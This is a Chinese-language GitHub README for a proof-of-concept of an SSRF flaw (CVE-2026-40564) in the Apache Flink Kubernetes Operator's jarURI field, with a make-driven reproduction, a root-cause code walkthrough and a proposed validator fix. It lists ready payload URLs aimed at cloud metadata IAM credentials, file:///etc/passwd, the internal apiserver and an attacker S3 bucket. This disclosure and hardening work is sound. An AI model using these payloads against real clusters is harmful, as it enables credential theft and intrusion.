oscerd/CVE-2026-40564
GitHub: oscerd/CVE-2026-40564
复现 Apache Flink Kubernetes Operator 中通过 jarURI 字段触发的 SSRF 漏洞(CVE-2026-40564)的工具,包含完整利用链分析、一键验证脚本和修复方案。
Stars: 0 | Forks: 0
# CVE-2026-40564:flink-kubernetes-operator 中通过 FlinkSessionJob.spec.job.jarURI 触发的 SSRF
Apache Flink Kubernetes Operator 不会检查 `FlinkSessionJob`(或 `FlinkDeployment`)资源上的 `spec.job.jarURI` 字段。任何能够创建这些资源的人都可以将 `jarURI` 设置为任意 URL。当 operator 对该资源进行协调(reconcile)时,它会从自己的 pod 内部去请求获取该 URL。协议可以是 http、https、file 或 Flink 附带的任何文件系统插件,因此该请求几乎可以到达 operator pod 能够访问的任何地方。
* CVE:CVE-2026-40564
* 受影响版本:flink-kubernetes-operator 1.14.0,以及 `main` 分支(截至 2026-04-09 为 1.15-SNAPSHOT)
* 于 2026-04-09 报告给 `security@apache.org` 和 `private@flink.apache.org`
* 调用链:`SessionJobReconciler.deploy` -> `submitJobToSessionCluster` -> `uploadJar` -> `ArtifactManager.fetch` -> `HttpArtifactFetcher.fetch`
## 运行说明
```
make verify
```
这会按顺序执行五个步骤:
1. 创建一个本地的 kind 集群
2. 使用 Helm 安装 operator (1.14.0)
3. 启动一个 Flink session 集群,并等待其 JobManager 启动
4. 向 webhook.site 请求一个新的 URL,然后应用一个 `jarURI` 指向该 URL 的 `FlinkSessionJob`
5. 轮询 webhook.site 并打印其收到的请求
当成功运行时,运行结束时的输出如下所示:
```
==> [5/5] verify-ssrf
target jarURI: https://webhook.site//exploit.jar
target is webhook.site, confirming via its REST API...
=== webhook.site captured requests (newest first) ===
2026-05-28 17:35:29 GET https://webhook.site//exploit.jar
User-Agent: Java/17.0.17
Source IP: 82.51.158.62
CVE-2026-40564 CONFIRMED: the operator pod issued an HTTP GET against the attacker URL.
Dashboard: https://webhook.site/#!/view/
```
首次运行大约需要 6 到 8 分钟。其中大部分时间用于拉取大约 700 MB 的 `flink:1.17` 镜像。随后的运行时间接近 3 分钟。
### 前置条件
`docker`、`kind`、`kubectl` 1.23 或更高版本、`helm` 3、`make`、`curl` 和 `jq`。集群必须能够连接到互联网,以便与 webhook.site 通信。
### 指向其他 URL
默认情况下,Makefile 会为您获取一个新的 webhook.site URL。要将请求发送到其他地方,请将 `SSRF_URL` 设置为您想要的完整 `jarURI`。它将按原样使用。
```
# 重用特定的 webhook.site URL
make verify SSRF_URL=https://webhook.site/8a2f1e3c-aaaa-bbbb-cccc-dddddddddddd/exploit.jar
# 你自己的 collaborator(Burp、interactsh、netcat listener 等)
make verify SSRF_URL=https://abc123.oast.fun/exploit.jar
# AWS instance metadata service
make verify SSRF_URL=http://169.254.169.254/latest/meta-data/iam/security-credentials/
# 由 Flink 的 filesystem layer 处理的非 http scheme
make verify SSRF_URL=file:///etc/passwd
```
检查如何确认结果取决于目标。如果 URL 位于 webhook.site 上,Makefile 会读取其 REST API 并打印捕获到的请求。对于其他任何地址,它会读取 operator 日志并查找 `HttpArtifactFetcher.fetch` 堆栈帧,这表明获取操作已执行。`WEBHOOK_URL` 也可以使用,其含义与 `SSRF_URL` 相同。
### 清理
```
make cleanup
```
这会移除 kind 集群。不会留下任何内容。
## 原因分析
其中涉及三个类,但它们都没有检查 `jarURI` 中的协议、主机或 IP。
`DefaultValidator.validateJobSpec` 会检查并行度、升级模式、savepoint 设置和资源形态。它从不读取 `job.getJarURI()`:
```
private Optional validateJobSpec(
JobSpec job, @Nullable TaskManagerSpec tm, Map confMap) {
if (job == null) return Optional.empty();
Configuration configuration = Configuration.fromMap(confMap);
// ... parallelism / upgradeMode / savepoint / resource checks ...
// job.getJarURI() is never inspected.
return Optional.empty();
}
```
`ArtifactManager.fetch` 会根据协议选择一个获取器。这里没有白名单,任何不是 http 或 https 的内容都会直接落入 Flink 的文件系统层:
```
public File fetch(String jarURI, Configuration flinkConfiguration, String targetDirStr) throws Exception {
URI uri = new URI(jarURI);
if ("http".equals(uri.getScheme()) || "https".equals(uri.getScheme())) {
return HttpArtifactFetcher.INSTANCE.fetch(jarURI, flinkConfiguration, targetDir);
} else {
return FileSystemBasedArtifactFetcher.INSTANCE.fetch(jarURI, flinkConfiguration, targetDir);
}
}
```
`HttpArtifactFetcher.fetch` 会按原样打开该 URL。这里没有主机检查,没有 IP 范围检查,也没有任何东西阻止它访问回环(loopback)或链路本地(link-local)地址:
```
public File fetch(String uri, Configuration flinkConfiguration, File targetDir) throws Exception {
URL url = new URL(uri);
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
conn.setRequestMethod("GET");
File targetFile = new File(targetDir, FilenameUtils.getName(url.getPath()));
try (var inputStream = conn.getInputStream()) {
FileUtils.copyToFile(inputStream, targetFile);
}
return targetFile;
}
```
## 攻击者能获得什么
operator 通常具有广泛的 RBAC 权限。官方 Helm chart 授予了对多种资源类型(包括 secrets)的 `*` 权限,并且 pod 通常可以无限制地访问网络。如果您能让它为您发送请求,您可以:
* 读取云元数据服务(AWS、GCE、Azure)并获取与 operator 节点绑定的 IAM 凭据
* 访问集群内仅监听内部网络的服务,或者信任 operator 源 IP 的服务
* 盲扫内部端口,通过读取 `FlinkSessionJob` 状态中的错误信息来获取结果
* 使用 file、s3、hdfs、gs 或任何其他 Flink 文件系统协议来读取本地文件,或与 operator 能够访问但您无法访问的存储进行通信
在多个团队使用同一个 operator 的共享集群中,任何团队都可以利用它来访问其他团队的资源。
### 其他有效的 URL
复现脚本默认使用 webhook.site,但该漏洞并不关心 URL 是什么。将 `SSRF_URL` 设置为以下任意一项,或者编辑 `manifests/vulnerable-sessionjob.yaml`:
| `jarURI` | 到达目标 |
|---|---|
| `http://169.254.169.254/latest/meta-data/iam/security-credentials/` | AWS IMDSv1,operator pod 节点的 IAM 凭据 |
| `http://10.0.0.1:6443/api` | 集群内的 apiserver,或任何将 operator IP 加入白名单的内部端点 |
| `file:///etc/passwd` | operator pod 自身的文件系统,通过文件系统获取器分支访问 |
| `s3://attacker-bucket/x.jar` | S3,使用 operator pod 的凭据 |
## 修复方案
在 `DefaultValidator.validateJobSpec` 中添加一项检查:
```
if (job.getJarURI() != null) {
Optional uriError = validateJarURI(job.getJarURI(), configuration);
if (uriError.isPresent()) return uriError;
}
```
```
private Optional validateJarURI(String jarURI, Configuration conf) {
URI uri;
try {
uri = new URI(jarURI);
} catch (URISyntaxException e) {
return Optional.of("jarURI is not a valid URI: " + e.getMessage());
}
String scheme = uri.getScheme();
if (scheme == null) return Optional.of("jarURI must include a scheme");
Set allowed = conf.get(KubernetesOperatorConfigOptions.JAR_URI_ALLOWED_SCHEMES);
if (!allowed.contains(scheme.toLowerCase(Locale.ROOT))) {
return Optional.of("jarURI scheme '" + scheme + "' is not in the allowlist");
}
if ("http".equalsIgnoreCase(scheme) || "https".equalsIgnoreCase(scheme)) {
InetAddress addr;
try {
addr = InetAddress.getByName(uri.getHost());
} catch (UnknownHostException e) {
return Optional.of("jarURI host cannot be resolved");
}
if (addr.isLoopbackAddress() || addr.isLinkLocalAddress()
|| addr.isSiteLocalAddress() || addr.isAnyLocalAddress()) {
return Optional.of("jarURI host points to a restricted address");
}
}
return Optional.empty();
}
```
为 `KubernetesOperatorConfigOptions.JAR_URI_ALLOWED_SCHEMES` 设置默认值为 `Set.of("https")`。需要 s3 或其他协议的 operator 可以自行添加。
还有两件值得做的事情:
* 为 operator pod 添加一个 `NetworkPolicy`,阻止其访问链路本地地址(`169.254.0.0/16`)、回环地址以及已知的云元数据地址。
* 在 AWS 上,开启 IMDSv2。这样即使存在可利用的 SSRF,如果没有 session token 也无法读取元数据服务,而 operator 没有理由发送该 token。
## 注意事项
Makefile 解决了两个会导致 kind 在 Linux 上崩溃的问题。每项检查只会在问题实际存在时运行,因此再次运行是安全的。
1. CoreDNS 转发到回环地址。在使用 systemd-resolved 时,kind 节点的 `/etc/resolv.conf` 会指向 `127.0.0.1`,因此集群会将外部名称解析为 localhost。`cluster-up` 步骤会重写 CoreDNS 配置,将其转发到 `1.1.1.1` 和 `8.8.8.8`。
2. operator pod 继承了主机的 DNS 搜索域。当 `ndots` 设置为 5 时,像 `webhook.site` 这样的名称会优先附加主机的搜索域,而一些 ISP 会为其无法识别的子域名响应 `127.0.0.1`。`install-operator` 步骤会为 operator pod 提供独立的 `dnsConfig`,从而避免这种情况。
如果完整运行在中途失败,您可以单独运行 `make verify-ssrf`。它会从运行中的 `FlinkSessionJob` 读取 `jarURI`,因此不依赖于本地保存的任何内容。
标签:Apache Flink, CISA项目, JS文件枚举, SSRF, 代码规范检查, 子域名突变, 应用安全, 漏洞复现, 请求拦截